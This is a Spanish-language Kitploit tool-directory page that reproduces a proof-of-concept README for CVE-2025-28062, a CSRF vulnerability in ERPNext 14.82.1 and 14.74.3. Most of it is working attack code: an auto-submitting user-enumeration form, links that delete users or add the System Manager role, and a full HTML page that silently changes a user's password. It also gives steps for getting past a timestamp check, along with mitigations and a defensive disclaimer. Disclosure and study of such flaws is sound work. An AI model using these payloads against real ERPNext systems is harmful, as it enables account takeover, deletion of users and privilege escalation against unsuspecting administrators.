Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-28062 — prueba de concepto | Kitploit
Herramientas/GitHubGitHub/thvt0ne/cve-2025-28062
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

prueba de concepto

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-28062 — Vulnerabilidad CSRF que permite la toma de control de cuentas en ERPNext 14.82.1 , 14.74.3

📌 Resumen

Se descubrió una vulnerabilidad de Cross-Site Request Forgery (CSRF) en ERPNext 14.82.1 y 14.74.3, que permite a atacantes realizar acciones no autorizadas como:

  • Enumeración de usuarios
  • Toma de control de cuentas (restablecimiento de contraseña)
  • Eliminación arbitraria de usuarios
  • Escalada de privilegios (adición de roles)

La vulnerabilidad se deriva de la falta de protección CSRF en endpoints críticos de la API administrativa. Si un administrador autenticado visita un sitio web malicioso, su sesión se aprovecha para realizar estas acciones sin su consentimiento.


🛠 Detalles Técnicos

  • Tipo de Vulnerabilidad: CSRF (CWE-352)
  • Producto Afectado: ERPNext
  • Versiones: 14.82.1, 14.74.3
  • Gravedad: Alta
  • Puntuación CVSS v3.1: 8.1
  • Estado: No corregido
  • Descubierto por: Ahmed Thaiban Thvt0ne.
  • Fecha de Descubrimiento: 2025-02-09
  • ID CVE: CVE-2025-28062 (Reservado)

🚀 Pruebas de Concepto (PoCs)

1. Enumeración de Usuarios

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. Eliminar Usuario

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Haz clic para eliminar usuario
</a>

3. Agregar Rol Privilegiado a Cualquier Usuario

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=PAYLOAD_REDACTED&action=Save">
  Agregar rol "System Manager" al usuario
</a>

💡 Consulta el payload JSON completo en el repositorio: /PoCs/privilege_escalation.html


4. Cambiar la Contraseña de Cualquier Usuario

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>Ataque CSRF</title>
</head>
<body>
    <script>
        function performCSRF() {
            // URL de la API objetivo
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // Payload JSON
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Crear y enviar el formulario
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Nombre de parámetro correcto
            input.value = encodedPayload;  // Codificación correcta
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Nombre de parámetro correcto
            input2.value = "Save";  // Codificación correcta
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Ejecutar CSRF después de esperar para asegurar que las cookies estén configuradas
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

Esta imagen simula que el administrador ingresó a un sitio web malicioso: image

Nota: si la marca de tiempo de modificación es antigua, el sitio web puede mostrar este mensaje: image

y para evitarlo, usa la página html http://localhost:8080/api/resource/User/[email protected][owner] y toma la marca de tiempo de modificación (para facilitar la PoC).

image

Cámbiala en el contenido de la página por la más reciente:

image

Una vez que lo envíes, ¡cambiará la contraseña del Usuario!

image

Si un usuario administrador autenticado visita esta página web, su sesión se utilizará para ejecutar la solicitud de cambio de contraseña de la cuenta sin ninguna interacción del usuario.


🧪 Escenario de Explotación

Un atacante aloja una página maliciosa. Si un administrador de ERPNext la visita mientras está conectado, su navegador activa automáticamente solicitudes manipuladas hacia ERPNext, causando modificaciones o eliminaciones de cuentas sin su conocimiento.


🔐 Recomendaciones de Mitigación

  • Exigir tokens CSRF en todos los endpoints que cambian el estado
  • No permitir solicitudes GET para acciones como guardar/eliminar
  • Marcar las cookies de autenticación con SameSite=Strict
  • Requerir re-autenticación para acciones críticas (por ejemplo, cambios de contraseña, cambios de roles)

🔗 Referencias

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • Guía CSRF de OWASP

🙏 Agradecimientos

Descubierto por Ahmed Thaiban Thvt0ne.


📢 Aviso Legal

Esta investigación está destinada únicamente a fines defensivos. El objetivo es crear conciencia y fomentar prácticas de desarrollo seguro.

Descargar herramienta